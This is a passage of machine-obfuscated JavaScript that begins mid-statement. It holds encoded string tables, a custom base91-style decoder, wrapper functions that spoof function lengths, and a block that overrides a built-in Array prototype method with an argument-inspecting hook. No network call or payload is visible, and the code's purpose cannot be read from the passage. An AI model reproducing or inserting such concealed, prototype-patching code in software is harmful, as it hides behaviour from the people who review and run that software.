RrqB9GL(0x5f), Ufr0cB9 = 0x1f); if (DnGuAC === f4Rx_UC) { break } else { zC0LbN[uKPaD_p(0x38)](zC0LbN[uKPaD_p(0x39)]()) } } catch (_0x3f97a1) { zC0LbN[cqqsRMN](zC0LbN[uKPaD_p(0x39)]()) } }, 0x2)(DnGuAC, 0xe0dcc), Array[B2_GF8(f3X2cwf(0x1a8), uKPaD_p(_kp0oNI(-0x17)), Ufr0cB9 = 0x1f)][B2_GF8(f3X2cwf(0x1b3), _kp0oNI(-0x16), Ufr0cB9 = 0x1f)]), Array[B2_GF8(f3X2cwf(0x1a8), f3X2cwf(0x1af), hBTudB(_kp0oNI(-0x20)))][B2_GF8(f3X2cwf(0x1b3), _kp0oNI(-0x16), hBTudB(_kp0oNI(-0x20)))] = function() { var O6DhrPe; function f4Rx_UC(O6DhrPe) { return Wp3Uaah[O6DhrPe < 0x19 ? O6DhrPe + 0x43 : O6DhrPe > 0x30 ? O6DhrPe - 0x56 : O6DhrPe - 0x1a] } O6DhrPe = ctm2_S0; if (arguments[f4Rx_UC(0x1e)][B2_GF8(O6DhrPe(0x1a3), O6DhrPe(0x1a5), Ufr0cB9 = _kp0oNI(-0x20))]()[B2_GF8(O6DhrPe(0x1a2), O6DhrPe(0x1a4), hBTudB(f4Rx_UC(0x22)))](B2_GF8(O6DhrPe(0x1ad) + O6DhrPe(0x1ac) + O6DhrPe(0x1ae), ')', hBTudB(0x1f)))) { typeof(arguments[0x0] = U9XsDhH(() => {}, 0x0), zC0LbN[O6DhrPe(_kp0oNI(-0x15))](this, arguments)) } else { var f3X2cwf = U9XsDhH(O6DhrPe => { return Wp3Uaah[O6DhrPe < 0x2a ? O6DhrPe > 0x13 ? O6DhrPe - 0x14 : O6DhrPe + 0x19 : O6DhrPe - 0x2b] }, 0x1); zC0LbN[O6DhrPe(f3X2cwf(0x27))](this, arguments) } }); function ctm2_S0(O6DhrPe, f4Rx_UC) { var f3X2cwf = DnGuAC(); return ctm2_S0 = U9XsDhH((O6DhrPe, f4Rx_UC) => { var zC0LbN = (O6DhrPe = B2_GF8(O6DhrPe, 0x1a2, Ufr0cB9 = 0x1c), f3X2cwf[O6DhrPe]); return zC0LbN }, 0x2), ctm2_S0(O6DhrPe, f4Rx_UC) } function DnGuAC() { var f3X2cwf, zC0LbN, ctm2_S0; function RrqB9GL(f3X2cwf) { return Wp3Uaah[f3X2cwf > 0x3c ? f3X2cwf < 0x53 ? f3X2cwf > 0x3c ? f3X2cwf > 0x3c ? f3X2cwf < 0x53 ? f3X2cwf > 0x53 ? f3X2cwf - 0x52 : f3X2cwf > 0x3c ? f3X2cwf < 0x3c ? f3X2cwf - 0x57 : f3X2cwf - 0x3d : f3X2cwf - 0x4b : f3X2cwf + 0x52 : f3X2cwf - 0x10 : f3X2cwf + 0x3e : f3X2cwf + 0x1a : f3X2cwf + 0x12] } typeof(f3X2cwf = uKPaD_p(0x47), zC0LbN = [uKPaD_p(0x3d)], ctm2_S0 = [uKPaD_p.apply(_kp0oNI(-0x27), [0x3a]), FCVQ2V.h6jTTqw, f4Rx_UC.yKdSpUa, zC0LbN[0x0], gH20ueG, uKPaD_p[RrqB9GL(0x40)](void 0x0, [RrqB9GL(0x3d)]), uKPaD_p[RrqB9GL(0x3f)](void 0x0, 0x40), uKPaD_p(0x41), O6DhrPe[0x0], uKPaD_p(0x43), uKPaD_p(RrqB9GL(0x4e)), uKPaD_p(0x44), YQOC3d, uKPaD_p(0x46), f3X2cwf, uKPaD_p(0x48), uKPaD_p(0x49), uKPaD_p(0x4a), uKPaD_p(0x4b), uKPaD_p(0x4c), uKPaD_p(0x4d)]); return DnGuAC = U9XsDhH(() => { return ctm2_S0 }, 0x0), DnGuAC() } } }, DnGuAC = DnGuAC); if (f4Rx_UC == uKPaD_p(0x27)) { giAYzoS = [] } DnGuAC = f4Rx_UC == uKPaD_p.apply(RrqB9GL(-0x21), [0x4e]) ? xH75o_3[O6DhrPe] || (xH75o_3[O6DhrPe] = function(...f4Rx_UC) { return giAYzoS = f4Rx_UC, ctm2_S0[O6DhrPe].call(this, uKPaD_p(0x4f)) }) : ctm2_S0[O6DhrPe](uKPaD_p[_kp0oNI(-0x26)](_kp0oNI(-0x27), 0x50)); return f3X2cwf == uKPaD_p(0x51) ? { tEEcDT8: DnGuAC } : DnGuAC } function ZOiZAb(O6DhrPe) { const f4Rx_UC = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,./:;<=>?@[]^_`{|}~"', f3X2cwf = '' + (O6DhrPe || ''), zC0LbN = f3X2cwf.length, ctm2_S0 = []; let DnGuAC = 0x0, RrqB9GL = 0x0, YQOC3d = -0x1; for (let gH20ueG = _kp0oNI(-0x24); gH20ueG < zC0LbN; gH20ueG++) { var cqqsRMN = U9XsDhH(O6DhrPe => { return Wp3Uaah[O6DhrPe < 0x2e ? O6DhrPe - 0x51 : O6DhrPe < 0x2e ? O6DhrPe + 0x49 : O6DhrPe > 0x2e ? O6DhrPe - 0x2f : O6DhrPe - 0x4e] }, 0x1); const Y8aPQMH = f4Rx_UC.indexOf(f3X2cwf[gH20ueG]); if (Y8aPQMH === -0x1) { continue } if (YQOC3d < cqqsRMN(0x33)) { YQOC3d = Y8aPQMH } else { typeof(YQOC3d += Y8aPQMH * 0x5b, DnGuAC |= YQOC3d << RrqB9GL, RrqB9GL += (YQOC3d & 0x1fff) > 0x58 ? _kp0oNI(-0x22) : 0xe); do { var SEF94B = U9XsDhH(O6DhrPe => { return Wp3Uaah[O6DhrPe > -0x38 ? O6DhrPe < -0x21 ? O6DhrPe > -0x21 ? O6DhrPe - 0x3d : O6DhrPe + 0x37 : O6DhrPe - 0x23 : O6DhrPe - 0x6] }, 0x1); void(ctm2_S0.push(DnGuAC & SEF94B(-0x22)), DnGuAC >>= 0x8, RrqB9GL -= 0x8) } while (RrqB9GL > 0x7); YQOC3d = -0x1 } } if (YQOC3d > -_kp0oNI(-0x14)) { ctm2_S0.push((DnGuAC | YQOC3d << RrqB9GL) & _kp0oNI(-0x13)) } return hm9VQT(ctm2_S0) } function uKPaD_p(Wp3Uaah, O6DhrPe, f4Rx_UC, f3X2cwf = ZOiZAb, zC0LbN = cKul_5) { if (f4Rx_UC) { return O6DhrPe[cKul_5[f4Rx_UC]] = uKPaD_p(Wp3Uaah, O6DhrPe) } else { if (O6DhrPe) { [zC0LbN, O6DhrPe] = [f3X2cwf(zC0LbN), Wp3Uaah || f4Rx_UC] } } return O6DhrPe ? Wp3Uaah[zC0LbN[O6DhrPe]] : cKul_5[Wp3Uaah] || (f4Rx_UC = (zC0LbN[Wp3Uaah], f3X2cwf), cKul_5[Wp3Uaah] = f4Rx_UC(CzDa7J[Wp3Uaah])) } function tN5hoi() { return [0x3f, void 0x0, 'call', 'apply', 0x0, 0xc, 0xd, 0xf, 0x1f, 'pTvsYu', 'BrCkzo3', 'IjUvVS', 0x6, 0x26, 0x2, 0x5, 0xa, 0x29, 'ch', 0x1ab, 0x1, 0xff] } function U9XsDhH(Wp3Uaah, O6DhrPe) { var f4Rx_UC = function() { return Wp3Uaah(...arguments) }; Object['defineProperty'](f4Rx_UC, 'length', { 'value': O6DhrPe, 'configurable': true }); return f4Rx_UC }